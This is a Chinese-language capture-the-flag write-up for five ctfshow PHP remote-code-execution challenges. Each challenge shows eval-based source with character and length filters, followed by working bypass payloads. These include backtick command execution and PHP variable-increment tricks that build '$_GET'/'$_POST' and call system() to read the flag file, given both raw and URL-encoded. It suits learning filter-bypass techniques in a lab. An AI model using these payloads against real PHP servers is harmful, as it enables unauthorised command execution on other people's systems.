ctfshow--RCE极限挑战

本周ctfshow的挑战注重点为RCE，主要利用是：自增绕过RCE

RCE挑战1

属于简单类型

源码

error_reporting(0);highlight_file(__FILE__);$code=$_POST['code'];$code=str_replace("(","括号",$code);$code=str_replace(".","点",$code);eval($code);

发现过滤了

(

和

.

，我们可以利用反引号执行命令 echo输出

code=echo `ls /`;

输出flag

code=echo `cat /f1agaaa`;

RCE挑战2

比较简单的

打开题目 审计源码

error_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)){if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}}

我们跑一下 看看哪些字符没有被过滤

<?phpfor($i=32;$i<127;$i++){if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echochr($i)." ";}}

结果：

  ! $ ' ( ) + , . / ; = [ ] _ 

可以考虑$_绕过！（自增绕过）

编写

$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下

传入

?_=system&__=ls

找flag

POST:
ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B

GET:
?_=system&__=cat /f*

RCE挑战3

限制字符的自增 对于我来说较难

源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。error_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)&&strlen($ctfshow)<=105){if(!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}}

fuzz测试什么没有被过滤

for($i=32;$i<127;$i++){if(!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echochr($i);}}

输出

 $()+,./01;=[]_

要保证构造payload长度小于

105

而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST

_/_ == NAN

构造的payload

$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);

传入参数

POST:
ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0=system&1=cat /f1agaaa

RCE挑战4

源码

<?php//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。error_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)&&strlen($ctfshow)<=84){if(!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}}

要求字符小于等于

84

fuzz测试，可用字符

 $()+,./0;=[]_
  $()+,./;=[]_

构造

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);// 分析一下//1.(_/_._)[0]==N//$__=$_.$_++; 此时的$_=O $_.$_++; 这个顺序是（实验得出来的）：// 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;

payload

ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=nl /f1agaaa

RCE挑战5

源码

highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)&&strlen($ctfshow)<=73){if(!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}}

限制传入的参数长度小于等于

73

fuzz测试哪些字符没有被过滤

for($i=32;$i<127;$i++){if(!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echochr($i);}}//  $()+,./;=[]_

构造payload

# 第一种  ！！知识点！！ 直接使用_POST当做参数$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
第一个参数：_POST 第二个参数：_# 借助ctfshow群里佬的payload tql# 第二种# 不可见字符替换  ！！知识点！！$_=(_/_._)[_];++$_;$a=$_.$_++;++$_;++$_;$_=_.$a.++$_.++$_;$$_[_]($$_[a]);# 转为url后将a改为 %ff $fe 等不可见字符
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

另外更有大佬的payload

phpinfo安装了一个扩展gettext，该扩展支持函数

_()

,相当于

gettext()

，直接转化为字符串

<?php$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N$_=++$a;//O$_=_.++$a.$_;//_PO$a++;$a++;//R$_.=++$a.++$a;//_POST$$_[a]($$_[_]);//$_POST[a]($_POST[_])